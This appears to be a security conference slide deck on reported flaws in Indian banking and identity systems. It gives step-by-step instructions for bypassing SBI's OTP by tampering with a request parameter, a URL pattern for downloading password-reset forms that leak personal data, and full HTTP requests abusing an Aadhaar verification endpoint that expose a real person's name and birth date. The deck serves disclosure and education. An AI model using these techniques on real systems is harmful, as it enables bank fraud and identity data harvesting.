

Looting Your Bank Savings

Using Digital India



NULLCON

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Dedicated to my parents

“*My parents gave me the courage and freedom to follow my heart.*”

Shameless self Promotion

- Just a common guy interested in security
- Contributed security to Samsung, HCL, Whatsapp, Photobucket, Digit, TVF and many more.
- Developed smallest possible (2kb) code which could crash Whatsapp
- Created wannasmile which was used to protect users from wannacry
- Helped Bollywood singer Papon recover his social accounts.
- Invited to speak at ToorCon, AndSec, GOS, BPM etc.
- Helped 2000+ people get started with cryptocurrency

Disclaimers

All the flaws demonstrated in the presentation are already reported by me or other security researchers and it got it.

No unfixed / unreported flaws will be discussed in this presentation

This presentation is only for educational purpose

8th November 2016

Two major announcements



Donald Trump Wins Election



PM announces Demonitization

Demonetization Effect



Long Queue in Banks



Cashless Economy

Pre- Demonitization



Easy bank account for all

Flaw 1 : Flaw in passbook printing machines

Passbook and its Use



- A Bank passbook is a small notebook.
- Contains your name, account number and certain other personal information about you
- Contains all the transactions both credit & debit that happened in your account right from the day of opening the account.

Passbook and its Use

- They are gradually becoming obsolete with the rise of online and mobile banking
- Internet connections and mobile networks are scarce or too expensive in India, hence passbook is still used successfully
- Keeps record of Entire Transactions

Government's step to increase bank users

- Indian government launched mega scheme 'Jan Dhan Yojana'
- On the inaugural day, 1.5 crore bank accounts were opened across the country
- Scheme launched at multiple places by 20 Chief Ministers

The Outcome

- 31 Crore+ or 310 million+ savings bank account till date
- More number of people opened bank accounts
- Transactions increased



How passbooks are updated ?

- Manually : By going to a bank
- Very slow and time consuming process



Introduction of Self Printing Machine

The advertisement features a blue kiosk labeled 'SWAYAM' with the State Bank of India logo. Four people are shown interacting with the machine. The process is outlined in four numbered steps: 1. Visit your branch for barcode sticker. 2. Select your language on the kiosk. 3. Insert the last printed page of your passbook. 4. Turn overleaf, if printing exceeds more than one page. A circular inset shows a hand inserting a passbook. The text 'Passbook Printing Queue Mein Kyon?' and 'SWAYAM HAI NA!' are prominently displayed. The bottom left says 'Queueless, Effortless, Time-less!' and the bottom right says 'Contact your branch for new passbook, if your passbook is full.'

State Bank of India
THE BANKER TO EVERY INDIAN

State Bank
SWAYAM
AUTOMATED PASSBOOK PRINTER

Passbook Printing Queue Mein Kyon?

SWAYAM HAI NA!

- 1 Visit your branch for barcode sticker
- 2 Select your language on the kiosk
- 3 Insert the last printed page of your passbook
- 4 Turn overleaf, if printing exceeds more than one page

Queueless, Effortless, Time-less!

Contact your branch for new passbook, if your passbook is full.

- The state bank of India launched an automatic passbook printer called 'Swayam'
- Soon all major banks followed the same
- Updates passbook with all transaction details automatically

Numbers of banks using Self printing machine

- The service was rolled out to more than 30,000 branches
- Other neighboring countries too use it now
- Some of the banks which rolled out their own versions of the Swayam service are :
 - Bank of Baroda
 - Union Bank
 - Bank of India
 - HDFC
 - Canara Bank
 - UCO
 - Central Bank of India etc.

Mechanism of Self printing machine

- Banks Paste barcodes in passbook
- When the user inserts the passbook, the barcode scanner inside the machine scans the barcode
- Printer prints the entire transaction details in the passbook

The flaw

- Only barcodes are used as authentication
- Account number is used as barcode data
- Account numbers are public and easy to get
- Barcodes can be easily spoofed
- Transaction and bank balance of any user can be viewed by making a barcode with the account number as its data

State Bank of India's approach



Barcode data is different from the account number

Other Banks' Approach



Account number used as barcode data

Other Banks' Approach



Account number used as barcode data

The Risk



Tool Demo

Practical

CLOSING BALANCE				बचत बैंक खाता सं / S.B. Account No.			
25/07/2015 दिनांक Date	TO CASH SELF Particulars	चेक संख्या Cheque No.	चेक तारीख Cheque Date	निकासी रकम Withdrawals	जमा की गयी रकम No : 5 Deposits	Balances	अधिकारी के Officers Initials
	OPENING BALANCE						
25/07/2015	BY CASH				1000000		

The Solution

- Banks should add another level of authentication
- Which includes :
 - ATM Pin number
 - Biometrics
 - Swaping of ATM cards
 - SMS based OTP
 - Use of Separate Cards



Flaw 2 : Government Based wallet Flaw

Demonetization solution – Cashless Economy

Wallets by State Government



Toka Poisa E-Wallet Flaw

DEMO

Flaw 3 : BHIM Flaw

DDOS Flaw

Users were able to send Money to themselves

Risk : By creating a Tool which send money to itself in loop an attacker can take down the whole system,

Privacy Flaw

Attacker Can see the name of User using their registered phone number

Risk : A tool with random number can make a list of all users with their name and phone number



The screenshot shows a mobile application interface for requesting money. At the top, there is a status bar with the time 1:14 PM, battery level 87%, and signal strength. Below the status bar, the app title "Request Money" is displayed with a back arrow. The "FROM" field shows a phone number "97[REDACTED]5@upi" with a green checkmark and a redacted name. The "AMOUNT" field is set to "₹ 00.00". Below this, there is a "Valid Upto" section showing a calendar icon with the date "31" and the text "Valid Upto 6 January 2017". The "REMARKS" field is empty. At the bottom, there is a checkbox labeled "Save for future" and a large blue button labeled "REQUEST".

Flaw 4 : Credit / Debit Card Flaw

Question ?

What makes online transaction in India much secure than other countries ?

Answer !



Online transaction Security In india

Customers needs these information to carry out transaction

- 16 digit card number – (Static)
- Card expiry date – (Static)
- CVV – (Static)
- OTP – (Dynamic)

OTP Bypass

Step 1: Login to your SBI account

Step 2: After successfully login to your account go to "Payments/Transfers".

Step 3: Then in "Other Payments / Receipt" click on "Quick Transfer".

Step 4: After that choose account from which you have to transfer money.

Step 5: Click on OTP and confirm

Step 6 : Change the parameter "**Smartotpflag=Y**" to "**Smartotpflag=N**"

OTP Bypass

DEMO

Flaw 5 : Fetch Personal Information

Fetch Personal Information

Information which can be retrieved are :

- Account Username
- Account holder's Full Name
- Account Number
- IFSC Code
- Date of Birth
- Email ID
- Full Address

Fetch Personal Information

- In SBI, whenever an User forgets his password, he needs to submit a reset password form in the branch.
- The form is pre generated with details which an user can download in PDF form

Fetch Personal Information

To

The Branch Manager

State Bank Of India

[REDACTED]

Branch

I am a registered USER of your Internet Banking Service - "OnlineSBI" for my our following Account (s).

My Reset profile password reference number is

[REDACTED]

Applicant's Name : (Max. 25 characters)

[REDACTED]

User Name(As recorded in Internet Banking)

[REDACTED]

Applicant's Account number(s)

[REDACTED]

I have forgotten the profile password and I request you to reset the same.

Date of Birth: 16

[REDACTED]

Email Address:

[REDACTED]

mail.com

Address (as per bank's records)

[REDACTED]
[REDACTED]
[REDACTED]

Telephone No(s).

Office:

Residence: 00000000

Pin: 700047

I confirm having read and understood the document containing the "Terms of Service (Terms & Conditions) " governing the S

Fetch Personal Information

Download Link :

<https://retail.onlinesbi.com/retail/resetProfilePwdFormDownloadPdf.htm?refNo=Pxxxxxx>

Flaw 6 : Adhaar Based e-KYC Flaw

Aadhaar Based e-KYC Flaw

- Using this loophole anybody can use Aadhaar demographic authentication API by sending requests through NSDL servers and bypass the checks at place by UIDAI.

Aadhaar Based e-KYC Flaw

What is aadhaar API ?

UIDAI provides different APIs which can be used to perform various actions like authentication (demographic and biometric), e-KYC (know your customer), e-sign etc.

Aadhaar Based e-KYC Flaw

Authentication User Agencies (AUA)

Sub – Authentication User Agencies (SUA)

Aadhaar Based e-KYC Flaw

Aadhaar
API



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DEMOGRAPHIC AUTHENTICATION

Agency can use Aadhaar Authentication system for verifying resident's demographics like Name, Gender, Address, Date of Birth etc. for a given Aadhaar number.



Aadhaar Number



01-02-1985

and/or

Name

and/or

Gender

and/or

Address



YES OR NO

Aadhaar Based e-KYC Flaw

The Flaw

`https://www.onlineservices.nsdl.com/paam/verify3.html`

`Content-Type:application/x-www-form-urlencoded; charset=UTF-8`

`Accept:*/*`

`X-Requested-`

`With:XMLHttpRequestadharNo=*****&name=***+***&yob=**%2F**%2F****&gen=*&userId=000000
0000&verification=K`

Aadhaar Based e-KYC Flaw

Burp Suite Community Edition v1.7.29 - Temporary Project

Target: <https://www.onlineservices.nsdl.com>

Request

Raw Params Headers Hex

```
POST /paam/verify3.html HTTP/1.1
Host: www.onlineservices.nsdl.com
Connection: close
Content-Length: 112
Pragma: no-cache
Cache-Control: no-cache
Accept: */*
Origin: chrome-extension://kajfghlhfkcocafkclajldicbikpgnp
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/62.0.3202.94 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
DNT: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: sessionId=F2F06A69307771B015B58CAF2250BA33.paamtomcat1; RandomNumber=392158150;
gsScrollPos=571=0; gsScrollPos=587=0; JSESSIONID=32B8B4C64404A269D5ED90C490DBF1EE.paamtomcat22
adharNo=[REDACTED]&name=KOTHAPALLI+MOHAN+SAI+KRISHNA&yob=10%2F07%2F1996&gen=M&userId=000000000
0&verification=K
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Date: Mon, 11 Dec 2017 16:25:53 GMT
Server: Apache
Content-Length: 4
Vary: User-Agent
Set-Cookie: JSESSIONID=20B009056ABE5D8A51024E8E5D3BCCBE.paamtomcat22;
Path=/paam; Secure; HttpOnly; Secure
Connection: close
Content-Type: text/plain; charset=ISO-8859-1

PASS
```

Done

283 bytes | 1,404 millis

Aadhaar Based e-KYC Flaw

Burp Suite Community Edition v1.7.29 - Temporary Project

Target: <https://www.onlineservices.nsdl.com>

Request

Raw Params Headers Hex

POST /paam/verify3.html HTTP/1.1
Host: www.onlineservices.nsdl.com
Connection: close
Content-Length: 112
Pragma: no-cache
Cache-Control: no-cache
Accept: /*
Origin: chrome-extension://kajfghlhfkccafkckjlajldicbikpgnp
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
DNT: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: sessionId=F2F06A60307771BB15B58CAF2250BA33.paamtomcat1; RandomNumber=392158150; gsScrollPos=571=0; gsScrollPos=587=0; JSESSIONID=32B884C64404A269D5ED9DC49DDBF1EE.paamtomcat22
adhaarNo=[REDACTED]&name=KOTHAPALLI+MOHAN+SAI+KRISHNA&yob=11%2F07%2F1996&gen=M&userId=000000000&verification=K

Response

Raw Headers Hex

HTTP/1.1 200 OK
Date: [REDACTED]
Server: Apache
Content-Length: 42
Vary: User-Agent
Set-Cookie: JSESSIONID=F0C88BFEE7E4AAE8075DFFBC01D9D2BD.paamtomcat22; Path=/paam; Secure; HttpOnly; Secure
Connection: close
Content-Type: text/plain; charset=ISO-8859-1
FAIL|0000000000111220172156131513009573940

Done

322 bytes | 1,522 millis

Aadhaar Based e-KYC Flaw

Burp Suite Community Edition v1.7.29 - Temporary Project

Burp Intruder Repeater Window Help

Target: <https://www.onlineservices.nsdl.com>

Request

Raw Params Headers Hex

POST /paam/verify3.html HTTP/1.1
Host: www.onlineservices.nsdl.com
Connection: close
Content-Length: 102
Pragma: no-cache
Cache-Control: no-cache
Accept: */*
Origin: www.onlineservices.nsdl.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
DNT: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie:
adharNo=[REDACTED]&name=[REDACTED]&dob=[REDACTED]&yob=%2F%2F%2F&gen=[REDACTED]&userId=000000000&verification=K

Response

Raw Headers Hex

HTTP/1.1 200 OK
Date: [REDACTED]
Server: Apache
Content-Length: 4
Vary: User-Agent
Set-Cookie: JSESSIONID=72782DCA1008B1A68DE83F860191DF75.paamtomcat20;
Path=/paam; Secure; HttpOnly; Secure
Connection: close
Content-Type: text/plain; charset=ISO-8859-1
PASS

Done

283 bytes | 724 mills

Connecting the Dots...

Connect with me



[Facebook.com/indrajeet.bhuyan](https://www.facebook.com/indrajeet.bhuyan)



[Twitter.com/indrajeet_b](https://twitter.com/indrajeet_b)



www.hackatrick.com

Thank You

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